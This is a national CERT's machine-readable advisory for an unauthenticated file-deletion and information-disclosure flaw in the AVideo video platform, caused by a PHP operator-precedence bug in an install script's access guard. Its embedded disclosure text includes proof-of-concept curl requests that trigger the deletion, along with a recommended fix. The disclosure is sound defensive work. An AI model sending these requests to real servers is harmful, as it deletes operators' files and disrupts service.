{
    "document": {
        "category": "csaf_base",
        "csaf_version": "2.0",
        "distribution": {
            "tlp": {
                "label": "WHITE"
            }
        },
        "lang": "en",
        "notes": [
            {
                "category": "legal_disclaimer",
                "text": "The Netherlands Cyber Security Center (henceforth: NCSC-NL) maintains this portal to enhance access to its information and vulnerabilities. The use of this information is subject to the following terms and conditions:\n\nThe vulnerabilities disclosed in this portal are gathered by NCSC-NL from a variety of open sources, which the user can retrieve from other platforms. NCSC-NL makes every reasonable effort to ensure that the content of this portal is kept up to date, and that it is accurate and complete. Nevertheless, NCSC-NL cannot entirely rule out the possibility of errors, and therefore cannot give any warranty in respect of its completeness, accuracy or real-time keeping up-to-date. NCSC-NL does not control nor guarantee the accuracy, relevance, timeliness or completeness of information obtained from these external sources. The vulnerabilities disclosed in this portal are intended solely for the convenience of professional parties to take appropriate measures to manage the risks posed to the cybersecurity. No rights can be derived from the information provided therein.\n\nNCSC-NL and the Kingdom of the Netherlands assume no legal liability or responsibility for any damage resulting from either the use or inability of use of the vulnerabilities disclosed in this portal. This includes damage resulting from the inaccuracy of incompleteness of the information contained in it.\nThe information on this page is subject to Dutch law. All disputes related to or arising from the use of this portal regarding the disclosure of vulnerabilities will be submitted to the competent court in The Hague. This choice of means also applies to the court in summary proceedings."
            }
        ],
        "publisher": {
            "category": "coordinator",
            "contact_details": "cert@ncsc.nl",
            "name": "National Cyber Security Centre",
            "namespace": "https://www.ncsc.nl/"
        },
        "title": "CVE-2026-34733",
        "tracking": {
            "current_release_date": "2026-04-01T23:01:10.012895Z",
            "generator": {
                "date": "2026-02-17T15:00:00Z",
                "engine": {
                    "name": "V.E.L.M.A",
                    "version": "1.7"
                }
            },
            "id": "CVE-2026-34733",
            "initial_release_date": "2026-03-31T21:26:45.525270Z",
            "revision_history": [
                {
                    "date": "2026-03-31T21:26:45.525270Z",
                    "number": "1",
                    "summary": "CVE created.| Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (1).| CWES updated (1)."
                },
                {
                    "date": "2026-03-31T21:26:47.569187Z",
                    "number": "2",
                    "summary": "NCSC Score created."
                },
                {
                    "date": "2026-03-31T21:39:04.431651Z",
                    "number": "3",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products connected (1).| References created (1).| CWES updated (1)."
                },
                {
                    "date": "2026-03-31T21:39:06.531480Z",
                    "number": "4",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-04-01T15:06:20.618532Z",
                    "number": "5",
                    "summary": "Source connected.| CVE status created. (valid)| EPSS created."
                },
                {
                    "date": "2026-04-01T19:38:55.978542Z",
                    "number": "6",
                    "summary": "Unknown change."
                },
                {
                    "date": "2026-04-01T22:11:14.461731Z",
                    "number": "7",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (4).| CWES updated (1)."
                },
                {
                    "date": "2026-04-01T22:11:18.520495Z",
                    "number": "8",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-04-01T23:01:01.921445Z",
                    "number": "9",
                    "summary": "Products connected (1).| Product Identifiers created (1).| Exploits created (1)."
                },
                {
                    "date": "2026-04-01T23:01:04.381198Z",
                    "number": "10",
                    "summary": "NCSC Score updated."
                }
            ],
            "status": "interim",
            "version": "10"
        }
    },
    "product_tree": {
        "branches": [
            {
                "branches": [
                    {
                        "branches": [
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/<=26.0",
                                "product": {
                                    "name": "vers:unknown/<=26.0",
                                    "product_id": "CSAFPID-5893889",
                                    "product_identification_helper": {
                                        "cpe": "cpe:2.3:a:wwbn:avideo:*:*:*:*:*:*:*:*"
                                    }
                                }
                            }
                        ],
                        "category": "product_name",
                        "name": "AVideo"
                    }
                ],
                "category": "vendor",
                "name": "WWBN"
            }
        ]
    },
    "vulnerabilities": [
        {
            "cve": "CVE-2026-34733",
            "notes": [
                {
                    "category": "description",
                    "text": "WWBN AVideo is an open source video platform. In versions 26.0 and prior, the AVideo installation script install/deleteSystemdPrivate.php contains a PHP operator precedence bug in its CLI-only access guard. The script is intended to run exclusively from the command line, but the guard condition !php_sapi_name() === 'cli' never evaluates to true due to how PHP resolves operator precedence. The ! (logical NOT) operator binds more tightly than === (strict comparison), causing the expression to always evaluate to false, which means the die() statement never executes. As a result, the script is accessible via HTTP without authentication and will delete files from the server's temp directory while also disclosing the temp directory contents in its response. At time of publication, there are no publicly available patches.",
                    "title": "nvd - https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-34733"
                },
                {
                    "category": "description",
                    "text": "WWBN AVideo is an open source video platform. In versions 26.0 and prior, the AVideo installation script install/deleteSystemdPrivate.php contains a PHP operator precedence bug in its CLI-only access guard. The script is intended to run exclusively from the command line, but the guard condition !php_sapi_name() === 'cli' never evaluates to true due to how PHP resolves operator precedence. The ! (logical NOT) operator binds more tightly than === (strict comparison), causing the expression to always evaluate to false, which means the die() statement never executes. As a result, the script is accessible via HTTP without authentication and will delete files from the server's temp directory while also disclosing the temp directory contents in its response. At time of publication, there are no publicly available patches.",
                    "title": "cveprojectv5 - https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/34xxx/CVE-2026-34733.json"
                },
                {
                    "category": "description",
                    "text": "## Summary\n\nThe AVideo installation script `install/deleteSystemdPrivate.php` contains a PHP operator precedence bug in its CLI-only access guard. The script is intended to run exclusively from the command line, but the guard condition `!php_sapi_name() === 'cli'` never evaluates to true due to how PHP resolves operator precedence. The `!` (logical NOT) operator binds more tightly than `===` (strict comparison), causing the expression to always evaluate to `false`, which means the `die()` statement never executes. As a result, the script is accessible via HTTP without authentication and will delete files from the server's temp directory while also disclosing the temp directory contents in its response.\n\n## Details\n\nThe faulty guard is at lines 2-4 of the script:\n\n```php\n// install/deleteSystemdPrivate.php:2-4\nif (!php_sapi_name() === 'cli') {\n    die('Command Line only');\n}\n```\n\nDue to PHP operator precedence, this expression is parsed as:\n\n```php\nif ((!php_sapi_name()) === 'cli') {\n```\n\nStep-by-step evaluation when accessed via HTTP (Apache/nginx with mod_php or php-fpm):\n\n1. `php_sapi_name()` returns `\"apache2handler\"` (or `\"fpm-fcgi\"`, etc.) - a non-empty string\n2. `!php_sapi_name()` applies logical NOT to a truthy string, yielding `false`\n3. `false === 'cli'` is a strict comparison between a boolean and a string, which is always `false`\n4. The `if` body (`die()`) is never entered\n\nThe correct code should be:\n\n```php\nif (php_sapi_name() !== 'cli') {\n    die('Command Line only');\n}\n```\n\nAfter the bypassed guard, the script enumerates and deletes aged files from the system temp directory:\n\n```php\n$glob = glob(sys_get_temp_dir() . \"/*\");\n// ...\nforeach ($glob as $file) {\n    if (filemtime($file) < $one_day_ago) {\n        unlink($file);  // Deletes the file\n    }\n}\n```\n\nThe script also outputs the total number of items found and details about processed files, leaking information about the temp directory contents.\n\nConfirmed on a live instance: an unauthenticated HTTP GET request returned HTTP 200 with the response body including \"Found total of 91 items\", confirming the guard bypass and information disclosure.\n\n## Proof of Concept\n\n**Step 1:** Verify the endpoint is accessible without authentication:\n\n```bash\ncurl -v \"https://your-avideo-instance.com/install/deleteSystemdPrivate.php\"\n```\n\nExpected response (HTTP 200):\n\n```\nFound total of 91 items\nProcessing /tmp/phpXXXXXX ...\nDeleted: /tmp/old_session_file ...\n```\n\nIf the guard were working correctly, the response would be:\n\n```\nCommand Line only\n```\n\n**Step 2:** Demonstrate the PHP operator precedence bug locally:\n\n```php\n<?php\n// Simulates the bug\n$sapi = 'apache2handler'; // non-CLI SAPI\n\n// Buggy check (as written in deleteSystemdPrivate.php)\nvar_dump(!$sapi === 'cli');\n// Output: bool(false) - guard never triggers\n\n// Correct check\nvar_dump($sapi !== 'cli');\n// Output: bool(true) - guard would trigger correctly\n?>\n```\n\n**Step 3:** Monitor the effect by checking before and after:\n\n```bash\n# Check initial state\ncurl -s \"https://your-avideo-instance.com/install/deleteSystemdPrivate.php\" | head -1\n# Output: \"Found total of 91 items\"\n\n# Wait and check again - files older than 24 hours will have been deleted\ncurl -s \"https://your-avideo-instance.com/install/deleteSystemdPrivate.php\" | head -1\n# Output: \"Found total of 47 items\" (fewer items after deletion)\n```\n\n## Impact\n\nAn unauthenticated attacker can trigger deletion of files in the server's system temp directory by simply sending an HTTP request to this endpoint. The impact includes:\n\n- **File deletion**: Any files in the temp directory older than 24 hours are deleted. This can disrupt server operations by removing PHP session files, upload temp files, cache files, or files used by other applications sharing the same temp directory.\n- **Information disclosure**: The script's output reveals the full path of the temp directory and enumerates its contents, including file names and counts. This can expose internal server paths, session file names, and the presence of other applications.\n- **Denial of service**: Repeated requests can be used to continuously purge temp files, interfering with file uploads, session management, and other temp-dependent operations.\n\nThe root cause is a common PHP pitfall where the logical NOT operator (`!`) has higher precedence than strict comparison (`===`), causing the intended CLI-only guard to be completely ineffective.\n\n- **CWE-284**: Improper Access Control\n- **Severity**: Medium\n\n## Recommended Fix\n\nFix the operator precedence bug at `install/deleteSystemdPrivate.php:2` by replacing the negation with the `!==` operator:\n\n```php\n// install/deleteSystemdPrivate.php:2\n// Before (broken - always evaluates to false):\nif (!php_sapi_name() === 'cli') {\n\n// After (correct):\nif (php_sapi_name() !== 'cli') {\n```\n\n---\n*Found by [aisafe.io](https://aisafe.io)*",
                    "title": "github - https://api.github.com/advisories/GHSA-wwpw-hrx8-79r5"
                },
                {
                    "category": "other",
                    "text": "0.0006",
                    "title": "EPSS"
                },
                {
                    "category": "other",
                    "text": "3.5",
                    "title": "NCSC Score"
                },
                {
                    "category": "other",
                    "text": "Is related to (a version of) an uncommon product, There is exploit data available from source Nvd",
                    "title": "NCSC Score top decreasing factors"
                }
            ],
            "product_status": {
                "known_affected": [
                    "CSAFPID-5893889"
                ]
            },
            "references": [
                {
                    "category": "external",
                    "summary": "Source - nvd",
                    "url": "https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-34733"
                },
                {
                    "category": "external",
                    "summary": "Source - cveprojectv5",
                    "url": "https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/34xxx/CVE-2026-34733.json"
                },
                {
                    "category": "external",
                    "summary": "Source - first",
                    "url": "https://api.first.org/data/v1/epss?limit=10000&offset=0"
                },
                {
                    "category": "external",
                    "summary": "Source - github",
                    "url": "https://api.github.com/advisories/GHSA-wwpw-hrx8-79r5"
                },
                {
                    "category": "external",
                    "summary": "Reference - cveprojectv5; github; nvd",
                    "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-wwpw-hrx8-79r5"
                },
                {
                    "category": "external",
                    "summary": "Reference - github",
                    "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34733"
                },
                {
                    "category": "external",
                    "summary": "Reference - github",
                    "url": "https://github.com/WWBN/AVideo/commit/355e8c70806694b3bf8605d75e1bd1c695cd95e7"
                },
                {
                    "category": "external",
                    "summary": "Reference - github",
                    "url": "https://github.com/advisories/GHSA-wwpw-hrx8-79r5"
                }
            ],
            "scores": [
                {
                    "cvss_v3": {
                        "version": "3.1",
                        "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L",
                        "baseScore": 6.5,
                        "baseSeverity": "MEDIUM"
                    },
                    "products": [
                        "CSAFPID-5893889"
                    ]
                }
            ],
            "title": "CVE-2026-34733"
        }
    ]
}